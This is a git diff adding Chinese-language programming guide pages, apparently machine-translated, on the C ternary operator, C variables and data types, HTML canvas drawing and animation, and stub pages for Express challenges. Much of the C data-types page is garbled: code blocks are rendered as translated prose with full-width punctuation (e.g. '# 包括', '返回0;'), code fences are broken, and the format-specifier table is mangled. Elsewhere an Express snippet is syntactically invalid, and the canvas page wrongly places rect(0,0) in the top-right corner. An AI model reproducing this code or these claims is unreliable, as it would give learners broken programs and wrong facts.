## 三元运算符
+
+程序员在C中使用三元运算符来代替条件语句**if**和**else**进行决策。 三元运算符是一个带三个参数的运算符。第一个参数是比较参数，第二个参数是真实比较的结果，第三个参数是错误比较的结果。如果有帮助，您可以将运算符视为编写if-else语句的缩短方式。
+
+这是一个使用**if**和**else**的简单决策示例：
+
+```c
+int a = 10, b = 20, c; 
+ 
+ if (a < b) { 
+    c = a; 
+ } 
+ else { 
+    c = b; 
+ } 
+ 
+ printf("%d", c); 
+```
+
+此示例需要超过10行，但这不是必需的。您可以使用**三元运算符**在3行代码中编写上述程序。
+
+### 句法
+
+`condition ? value_if_true : value_if_false`
+
+如果条件为真，则语句将对statement\_1进行评估，否则返回statement\_2。
+
+以上是使用三元运算符重写的上述示例：
+
+```c
+int a = 10, b = 20, c; 
+ 
+ c = (a < b) ? a : b; 
+ 
+ printf("%d", c); 
+```
+
+示例的输出应该是：
+
+```c
+10 
+```
+
+`c`被设置为等于`a` ，因为条件`a<b`为真。
+
+这看起来很简单吧？请注意， `value_if_true`和`value_if_false`必须具有相同的类型，并且它们不能是完整语句，而只是表达式。
+
+三元运算符可以嵌套，就像嵌套的if-else语句一样。考虑这个嵌套的if-else语句：
+
+```c
+int a = 1, b = 2, ans; 
+ if (a == 1) { 
+    if (b == 2) { 
+        ans = 3; 
+    } else { 
+        ans = 5; 
+    } 
+ } else { 
+    ans = 0; 
+ } 
+ printf ("%d\n", ans); 
+```
+
+以下是使用嵌套三元运算符重写的上述代码：
+
+```c
+int a = 1, b = 2, ans; 
+ ans = (a == 1 ? (b == 2 ? 3 : 5) : 0); 
+ printf ("%d\n", ans); 
+```
+
+上述两个代码的输出应为：
+
+```c
+3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/variables-and-basic-datatypes/index.md b/client/src/guide/chinese/c/variables-and-basic-datatypes/index.md
new file mode 100644
index 0000000000..233b6d8fda
--- /dev/null
+++ b/client/src/guide/chinese/c/variables-and-basic-datatypes/index.md
@@ -0,0 +1,101 @@
+---
+title: Variables and Basic Data Types 
+localeTitle: 变量和基本数据类型
+---
+# 变量和基本数据类型
+
+## 什么是变量？
+
+变量存储值。基本上，您为存储值指定一个名称，稍后要使用该名称。重要的是要注意，一个变量一次只能存储一个值。但是稍后，您可以稍后在代码中更改存储的值，也可以将一个变量的值分配给另一个变量。
+
+> 当你创建一个变量时，它被称为`declaring` ，当你给它一个值来存储时，它被称为`assignment` 。如果在声明变量的同时为变量赋值，则称为`initializing` 。 对于如何创建变量以及存储变量的内容，C非常挑剔。 C是一种`strongly typed`语言，这意味着您必须在声明时定义每个变量的类型和名称。变量的名称可以由字母，数字和下划线字符组成。
+
+## 基本类型
+
+在标准C中，有四种重要的基本数据类型： `int` ， `float` ， `double` ， `char` 。
+
+### 整型
+
+对于整数值，使用`int`关键字（整数的缩写）。 让我们来看一个简单的程序：
+
+```C
+#include <stdio.h> 
+ int main(void){ 
+ 
+ int a; // Declaring a variable which stores integer values and is called 'a' 
+ int b = 5; //Initializing an int called 'b' with the value 5 
+ a = 6; // Assigning the value 6 to the variable 'a' 
+ int c; 
+ c = a + b; // Assign the sum of 'a' and 'b' to the variable c 
+ int d = a + c; //But we could also initialize it right away. 
+ 
+ //Some shiny things 
+ printf("%d \n", c); 
+ printf("%d %d \n", a, b); 
+ 
+ return 0; 
+ } 
+```
+
+让我们分解我们在`Some shingy things`下`Some shingy things` ：
+
+```C
+printf("%d \n", c); 
+```
+
+要打印出变量`c`的值，可以使用`printf()`函数。请注意双引号中的`%d` 。这告诉计算机期望一个**d**值，并且它在逗号之后。
+
+```C
+printf("%d %d \n", a, b); 
+```
+
+您可以按逗号后面的顺序打印出几个整数。
+
+请注意，当您尝试在`int`存储十进制值时，您将只获取它的整个部分，因为它们将被截断。
+
+我们也可以用以下方式编写程序：
+```
+#include <stdio.h> 
+ int main(void){ 
+ 
+ int a=3,b=4,c; // we can also assign and declare the values in 1 line 
+ c = a + b; // Assign the sum of 'a' and 'b' to the variable c 
+ 
+ printf("%d %d \n", a, b); 
+ printf("%d \n", c); 
+ 
+ return 0; 
+ } 
+```
+
+### 浮动和双打
+
+要存储十进制值，可以使用`float`和`double`关键字。它们之间的区别在于精度， `double`有大约13位数，而`float`大约有7位，但这与CPU不同。 \`\`\`C ＃包括 int main（void）{ 双a = 3.23; printf（“变量a的值为：％f \\ n”，a）; //可以使用％f打印双值 返回0; }
+```
+### Characters 
+ You can store a single character with the `char` keyword. You will learn about storing multiple characters later, when we introduce `arrays`. Let's look at some code: 
+```
+
+C
+
+# 包括
+
+int main（void）{ char a ='A'; //初始化值为'A'的char，请注意简单的引号！ printf（“字符为：％c”，a）//字符可以用％c打印 返回0; }
+```
+## The Boolean type 
+ Later in C a new type was added, called `bool`. Bool stores true/false values, which comes in handy when you have to make decisions in the code. To use it though, you have to inlcude another header next to `<stdio.h>` called `<stdbool.h>`. 
+```
+
+C
+
+# 包括
+
+# 包括
+
+int main（void）{ bool a = true; bool b = false;
+
+返回0; } \`\`\`
+
+## 注释
+
+变量的类型告诉编译器为变量创建（分配）多少空间。现在您已经看到了基本数据类型，但是有一些修饰符可以修改为变量分配的空间量。修饰符可以增加或减少默认值。 C有5个修饰符： `short` ， `long` ， `signed` ， `unsigned` ， `long long` 。它们以基本类型为前缀。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/variables/index.md b/client/src/guide/chinese/c/variables/index.md
new file mode 100644
index 0000000000..bbff0735a8
--- /dev/null
+++ b/client/src/guide/chinese/c/variables/index.md
@@ -0,0 +1,109 @@
+---
+title: Variables in C
+localeTitle: C中的变量
+---
+# 在C中使用变量
+
+现在您知道数据类型的选项是什么。让我们在这里用一个简单的例子来应用它：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_first_variable = 12; 
+    double my_second_variable = 983.9; 
+ 
+    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+ 
+    return 0; 
+ } 
+```
+
+这里有很多新东西要看！你已经看过`#include`和`int main(void)` ，所以不值得一试。新的是`int my_first_variable = 12;` 。
+
+从前面开始，您应该记得`int`允许我们存储整数值。在`int`出现`my_first_variable` 。这是一个变量 - 它可以存储值，您可以更改其中存储的值。我们从一个声明开始，我们告诉计算机这个变量的初始值是12.在我们尝试使用它之前告诉计算机我们想要一个变量是很重要的。否则，该变量将不存在，并且当您尝试告诉它使用不存在的变量时，编译器将不知道该怎么做。
+
+下一行是`double my_second_variable = 983.9` 。与之前类似的结构应该清楚地表明，您正在告诉计算机创建一个名为“我的_第二个_变量”的变量，该变量可以保存`double`精度值，并且您希望将其设置为983.9。
+
+变量的实际名称并不重要。它可以是你想要的任何东西，只要它不是C为实际语言保留的任何单词，它只能包含数字和字母，从不包含任何空格。变量名称不能以数字开头。按照惯例，C使用明确的变量名称替换下划线表示空格。变量也可以是camelCase，如下所示：
+
+```C
+double myFirstVariable = 983.9 
+```
+
+事实上，在其他语言中也是如此。但是，在C中通常不会这样做。
+
+创建变量后，我们开始实际使用它们：
+
+```C
+    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+```
+
+这与您之前使用的printf（）相同，但现在它有一些不同的功能。首先，请注意括号内现在有两件事：要打印到屏幕上的文本和变量。另请注意`%i`和`%f` 。这被称为_格式说明符_ ，用于指定应该打印的格式。每当printf（）遇到其中一个时，它将尝试将给定的变量插入到该点。
+
+因为我们的变量的数据类型以几种不同的方式在计算机中表示，所以C有几种不同的方式来显示它们：
+
+数据类型|格式说明符 ---------------- | ------------------ char | ％c，或％hhi在签名时作为数字打印，％hhu在未签名时打印为数字 简短| ％hi，或未签名的％hu int | ％i，％d也可以使用 长| ％li，或未签名时的％lu 长久的％lli，或未签名时的％llu 漂浮| ％F 双| ％F 长双| ％如果 unsigned int | ％鲁
+
+要打印变量，您必须具有格式说明符，然后是要格式化的变量。几个格式说明符可以在同一个printf（）中一起使用：
+
+```C
+    printf("%i and %f", my_first_variable, my_second_variable); 
+```
+
+为了扫描变量，您必须具有格式说明符，然后是变量的地址（通过在变量名称前加上'＆'符号表示）作为输入。几个格式说明符可以在同一个scanf（）中一起使用：
+
+```C
+    scanf("%i and %f", &my_first_variable, &my_second_variable); 
+```
+
+现在让我们开始更改变量中的值。以下是与之前相同的示例，但还有更多行：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_first_variable = 12; 
+    double my_second_variable = 983.9; 
+ 
+    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+ 
+    my_second_variable = -18.2 + my_first_variable; 
+ 
+    printf("Now my double is %f\n", my_second_variable); 
+ 
+    return 0; 
+ } 
+```
+
+现在有一行读取`my_second_variable = -18.2 + my_first_variable;` 。此等式为左侧的变量分配新值。每当分配一个新值时，它所分配的变量必须始终位于左侧，并且必须始终在那里。您的程序将找到右侧的结果，并将其分配给左侧的变量。在这种情况下，我们将_第一个_变量添加到-18.2。我的_第一个_变量是12，-18.2 + 12是-6.2，所以我的_第二个_变量在这一步之后变为-6.2。我们将在稍微进一步学习数学！
+
+## 关于花车和双打的更多信息
+
+当打印出浮点数和双精度数时，很多时候我们需要小数点后的精度。如果我们有
+
+```C
+float var1 = 15.3; 
+ printf("%f"); 
+```
+
+我们得到`15.300000` 。所以，假设我们只想要小数点后的两个位置给我们`15.30` 。我们会使用％.2f。请注意，我们在我们想要的小数位数前面使用小数点后跟f，表示我们要打印float或double。
+
+# 变量的名称
+
+*   您可以在名称中使用的唯一字符是字母字符，数字和 下划线（\_）字符。
+*   名称中的第一个字符不能是数字。
+*   大写字符被视为与小写字符不同。
+*   您不能将C关键字用于名称。
+
+# 在你继续之前......
+
+## 回顾
+
+*   变量需要在使用之前创建。
+*   变量按以下格式创建： `datatype variable_name = number` 。
+*   格式说明符允许打印变量。
+*   等号`=`允许将值分配给变量。
\ No newline at end of file
diff --git a/client/src/guide/chinese/canvas/animation-in-canvas/index.md b/client/src/guide/chinese/canvas/animation-in-canvas/index.md
new file mode 100644
index 0000000000..ca846c3198
--- /dev/null
+++ b/client/src/guide/chinese/canvas/animation-in-canvas/index.md
@@ -0,0 +1,47 @@
+---
+title: Animation
+localeTitle: 动画
+---
+## 画布中的动画
+
+要在`canvas`制作动画，请使用`window.requestAnimationFrame`设置绘制循环。
+
+```js
+function draw() { 
+  /* code goes here */ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+```
+
+下面的代码将导致`draw`函数每帧运行。
+
+`canvas`没有允许动画的特殊功能。你只需要习惯于在动画循环中写作。动画循环的通常设计范例是更新状态，然后绘制状态。例如，要在屏幕上绘制一个正方形：
+
+```js
+canvas = document.getElementById("canvas"); 
+ ctx = canvas.getContext('2d'); 
+ 
+ var x=0; 
+ var y=50; 
+ function draw() { 
+  // reset canvas 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+  //update state 
+  x+=1; 
+ 
+  // render state 
+  ctx.beginPath(); 
+  ctx.rect(x, y, 50, 50); 
+  ctx.fill(); 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+```
+
+要查看此概念，请参阅“ [粒子模拟](/articles/canvas/particle-sim) ”页面。
+
+#### 更多信息：
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/chinese/canvas/basic-usage/index.md b/client/src/guide/chinese/canvas/basic-usage/index.md
new file mode 100644
index 0000000000..28ae17944d
--- /dev/null
+++ b/client/src/guide/chinese/canvas/basic-usage/index.md
@@ -0,0 +1,32 @@
+---
+title: Basic Usage
+localeTitle: 基本用法
+---
+## 画布的基本用法
+
+使用canvas时，首先将画布作为元素放入文档中。
+
+```html
+
+<canvas width="400" height="400" id="canvas"></canvas> 
+```
+
+`width`和`height`属性将控制画布的大小。这些属性控制绘图画布的大小，而不是实际渲染的大小。有关更多信息，请参阅“画布尺寸”页面。
+
+为了使用`canvas` ，我们必须首先从页面中获取元素作为DOM元素，然后从中获取绘图上下文。
+
+```js
+var canvas = document.getElementById("canvas"); 
+ var ctx = canvas.getContext('2d'); 
+```
+
+此后的所有绘图调用都将从`ctx`对象进行。 `ctx`表示对象的绘图上下文，并包含有关2D绘图空间的信息。 `canvas`对象是实际的DOM元素。与它交互允许我们访问`width`和`height`等属性。
+
+有一些可用的绘图上下文，包括`webgl` 。 WebGL实际上是一种完全不同的技术，因此我们只关注2D绘图。
+
+路径是`canvas`中绘图的构建块。有关详细信息，请参阅“ [路径](/articles/canvas/paths) ”页面。
+
+#### 更多信息：
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
+*   [HTMLCanvasElement.getContext（）（MDN）](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/getContext)
\ No newline at end of file
diff --git a/client/src/guide/chinese/canvas/canvas-dimensions/index.md b/client/src/guide/chinese/canvas/canvas-dimensions/index.md
new file mode 100644
index 0000000000..b34859063a
--- /dev/null
+++ b/client/src/guide/chinese/canvas/canvas-dimensions/index.md
@@ -0,0 +1,31 @@
+---
+title: Canvas Dimensions
+localeTitle: 画布尺寸
+---
+## 画布尺寸
+
+`width`和`height`属性将控制画布的大小。这些属性控制绘图画布的大小，而不是实际渲染的大小。
+
+见笔[画布后尺寸演示](https://codepen.io/alanluo/pen/jLWMmM/)由罗志祥（ [@alanluo](https://codepen.io/alanluo) ）上[CodePen](https://codepen.io) 。
+
+在上面的笔中，两个`canvas`元素都具有通过CSS设置的相同尺寸。但是，通过`height`属性设置的`height`两倍，因此导致完全相同的矩形在高度的一半处呈现。
+
+当您想要制作动态大小的画布时，这可能会导致问题。对于instnace，您可能想制作全屏画布，或使用画布作为缩略图。
+
+为了使绘图上下文的大小与`canvas`元素的渲染大小相匹配，我们必须实时强制执行此操作。一种常见的做法是将以下处理程序放在`onResize`侦听器中。
+
+```js
+// somewhere early in the script 
+ var canvas = document.getElementById("canvas"); 
+ ... 
+ 
+ window.addEventListener("resize", function() { 
+    canvas.setAttribute("width", canvas.scrollWidth); 
+    canvas.setAttribute("height", canvas.scrollHeight); 
+    console.log(canvas.offsetWidth); 
+ }); 
+```
+
+#### 更多信息：
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/chinese/canvas/index.md b/client/src/guide/chinese/canvas/index.md
new file mode 100644
index 0000000000..1b6bf65c1a
--- /dev/null
+++ b/client/src/guide/chinese/canvas/index.md
@@ -0,0 +1,11 @@
+---
+title: Canvas
+localeTitle: 帆布
+---
+## HTML5画布
+
+Canvas是HTML5中引入的一种技术，可以通过`<canvas>`标签访问。它允许通过Javascript绘制图形，并且是在Web上进行交互的强大工具。
+
+#### 更多信息：
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/chinese/canvas/particle-sim/index.md b/client/src/guide/chinese/canvas/particle-sim/index.md
new file mode 100644
index 0000000000..ed6aed7311
--- /dev/null
+++ b/client/src/guide/chinese/canvas/particle-sim/index.md
@@ -0,0 +1,95 @@
+---
+title: Particle Sim
+localeTitle: 粒子是的
+---
+## 画布中的粒子模拟
+
+在本指南中，我们将使用简单的动画原理在Canvas中构建基本粒子模拟。
+
+我们想要建立一个具有加速度和速度的粒子阵列。我们将在画布上的随机点创建100个粒子。
+
+```js
+canvas = document.getElementById("canvas"); 
+ ctx = canvas.getContext('2d'); 
+ 
+ var particles = []; 
+ for(var i=0; i<100; i++) { 
+  particles.push( 
+    { 
+      x:Math.random()*canvas.width, 
+      y:Math.random()*canvas.height, 
+      vx:0, 
+      vy:0, 
+      ax:0, 
+      ay:0 
+    } 
+  ); 
+ } 
+```
+
+在我们的绘制循环中，我们渲染这些粒子。
+
+```js
+function draw() { 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+  for(var i=0; i<particles.length; i++) { 
+    // update state 
+ 
+    // render state 
+    ctx.beginPath(); 
+    ctx.arc(particles[i].x, particles[i].y, 5, 0, 2*Math.PI); 
+    ctx.fill(); 
+  } 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+```
+
+现在，我们需要做的就是每帧更新速度和加速度。我们将加速度添加到速度并将速度添加到位置。
+
+```js
+function draw() { 
+  for(var i=0; i<particles.length; i++) { 
+    // update state 
+    particles[i].x+=particles[i].vx; 
+    particles[i].y+=particles[i].vy; 
+    particles[i].vx+=particles[i].ax; 
+    particles[i].vy+=particles[i].ay; 
+ 
+    /* render code */ 
+  } 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+```
+
+而已！我们需要做的就是在某处创造一股力量。让我们用点击监听器来做。
+
+```js
+canvas.addEventListener("click", function(e) { 
+  var clickX = e.clientX-canvas.offsetLeft; 
+  var clickY = e.clientY-canvas.offsetTop; 
+  for(var i=0; i<particles.length; i++) { 
+    var delx = particles[i].x-clickX; 
+    var dely = particles[i].y-clickY; 
+    var magnitudeSquared = Math.pow(delx, 2)+Math.pow(dely, 2); 
+ 
+ 
+    particles[i].ax = 0.1*delx/magnitudeSquared; 
+    particles[i].ay = 0.1*dely/magnitudeSquared; 
+ 
+  } 
+ }); 
+```
+
+这通过平方反比定律增加了力。有关详细信息，请参阅[此页面](#placeholder) 。
+
+就这样！最终的代码：
+
+见笔[粒子SIM（FCC）](https://codepen.io/alanluo/pen/OjMbpm/)由罗志祥（ [@alanluo](https://codepen.io/alanluo)上） [CodePen](https://codepen.io) 。
+
+#### 更多信息：
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/chinese/canvas/paths/index.md b/client/src/guide/chinese/canvas/paths/index.md
new file mode 100644
index 0000000000..d297839810
--- /dev/null
+++ b/client/src/guide/chinese/canvas/paths/index.md
@@ -0,0 +1,82 @@
+---
+title: Paths
+localeTitle: 路径
+---
+## 画布中的路径
+
+路径是Canvas中绘图的构建块。路径只是一种形状。然后，可以通过抚摸或填充形状来绘制形状。
+
+我们可以使用`beginPath` ， `fill`和`stroke`创建使用路径。
+
+```js
+ctx.beginPath(); 
+ ctx.rect(0, 0, 100, 100); 
+ ctx.fillStyle="black"; 
+ ctx.fill(); 
+```
+
+这会在画布的右上角创建一个黑色方块。我们可以使用`strokeStyle`和`fillStyle`来改变笔触和填充，它们都采用类似CSS的颜色字符串。我们也可以使用`lineWidth`来使笔划更粗。
+
+```js
+ctx.beginPath(); 
+ ctx.moveTo(0,0); 
+ ctx.lineTo(300,150); 
+ ctx.moveTo(0, 100); 
+ ctx.lineTo(300, 250); 
+ 
+ ctx.strokeStyle="red"; 
+ ctx.lineWidth=2; 
+ ctx.stroke(); 
+```
+
+有四种基本绘图功能： `rect` ， `moveTo` ， `lineTo`和`arc` 。
+
+*   `rect(x, y, width, height)`将从（ `x` ， `y` ）维度（ `width` ， `height` ）创建的矩形添加到路径中。
+*   `moveTo(x,y)`将笔移动到画布上的某个点
+*   `lineTo(x,y)`将笔移动到画布上的某个点，然后在新点和旧点之间添加一条线到路径。
+*   `arc(x, y, r, ti, tf)`在半径为`r` （ `x` ， `y` ）和从角度`ti`到`tf`的路径上添加弧（圆的一部分）。
+
+请注意，这些功能会添加到工作路径中。他们没有创造新的道路。
+
+```js
+//example 1 
+ ctx.beginPath(); 
+ ctx.rect(0, 0, 50, 50); 
+ ctx.rect(100, 100, 50, 50); 
+ ctx.fill(); 
+ 
+ //example 2 
+ ctx.beginPath(); 
+ ctx.rect(0, 0, 50, 50); 
+ ctx.beginPath(); 
+ ctx.rect(100, 100, 50, 50); 
+ ctx.fill(); 
+```
+
+第一个示例将绘制两个正方形，而第二个示例仅绘制一个正方形，因为`beginPath`丢弃了旧工作路径上的第一个矩形。
+
+这个事实导致制作`canvas`动画时常见的错误。
+
+```js
+var x = 0; 
+ var y = 0; 
+ function draw() { 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+ 
+  ctx.rect(x, y, 50, 50); 
+  ctx.fill(); 
+  x+=1; 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ 
+ window.requestAnimationFrame(draw); 
+```
+
+上面的动画应该会在屏幕上移动，而不是创建一个长黑条。原因是在`draw`循环中没有调用`beginPath` 。
+
+要阅读有关动画的更多信息，请参阅[动画](/articles/canvas/animation-in-canvas/)页面。
+
+#### 更多信息：
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md
new file mode 100644
index 0000000000..1dce0e4080
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md
@@ -0,0 +1,9 @@
+---
+title: Exercise Tracker
+localeTitle: 运动追踪器
+---
+## 运动追踪器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md
new file mode 100644
index 0000000000..a09dc1c919
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: File Metadata Microservice
+localeTitle: 文件元数据微服务
+---
+## 文件元数据微服务
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/index.md
new file mode 100644
index 0000000000..f2a39616f6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: APIs and Microservices Projects
+localeTitle: API和微服务项目
+---
+## API和微服务项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md
new file mode 100644
index 0000000000..4579a016c8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: Request Header Parser Microservice
+localeTitle: 请求Header Parser Microservice
+---
+## 请求Header Parser Microservice
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md
new file mode 100644
index 0000000000..679302b3ed
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: Timestamp Microservice
+localeTitle: 时间戳微服务
+---
+## 时间戳微服务
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md
new file mode 100644
index 0000000000..c1f4676c9a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: URL Shortener Microservice
+localeTitle: URL Shortener微服务
+---
+## URL Shortener微服务
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md
new file mode 100644
index 0000000000..079bb44c65
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md
@@ -0,0 +1,21 @@
+---
+title: Chain Middleware to Create a Time Server
+localeTitle: 用于创建时间服务器的链中间件
+---
+## 用于创建时间服务器的链中间件
+
+与上一次挑战类似，但现在我们将两个功能链接在一起。这似乎很复杂，但它只是javascript。
+
+我们还可以在请求中添加字符串并将其传递给下一个函数，而不是响应时间。这是微不足道的，但它是一个很好的例子。代码如下：
+
+```javascript
+app.get("/now", middleware(req, res, next) { 
+  req.string = "example"; 
+  next(); 
+ }, 
+  function (req, res) { 
+      res.send(req.string); // This will display "example" to the user 
+  }); 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md
new file mode 100644
index 0000000000..f824d5578d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md
@@ -0,0 +1,17 @@
+---
+title: Get Data from POST Requests
+localeTitle: 从POST请求中获取数据
+---
+## 从POST请求中获取数据
+
+就像使用req.query一样，我们可以使用req.body来获取我们的数据。此挑战与“从客户端获取查询参数输入”非常相似。
+
+为了从post请求中获取数据，通用格式为：
+
+```javascript
+app.post(PATH, function(req, res) { 
+  // Handle the data in the request 
+ }); 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md
new file mode 100644
index 0000000000..0d88b4950a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md
@@ -0,0 +1,17 @@
+---
+title: Get Query Parameter Input from the Client
+localeTitle: 从客户端获取查询参数输入
+---
+## 从客户端获取查询参数输入
+
+鉴于存根之后的提示，“/ name？first = ＆最后= ，“我们可以像这样构建响应：
+
+```javascript
+ app.get("/name", function(req, res) { 
+   var firstName = req.query.first; 
+   var lastName = req.query.last; 
+   // Send the json object 
+ }); 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md
new file mode 100644
index 0000000000..6ec5d526d8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md
@@ -0,0 +1,16 @@
+---
+title: Get Route Parameter Input from the Client
+localeTitle: 从客户端获取路由参数输入
+---
+## 从客户端获取路由参数输入
+
+如果有人告诉你构建GET或POST，你会相应地做app.get（...）或app.post（...）。挑战的基本结构是：
+
+```javascript
+app.get("/:word/echo", function(req, res) { 
+  // word = req.params.word; 
+  // respond with the json object 
+ }); 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md) 。
\ No newline at end of file
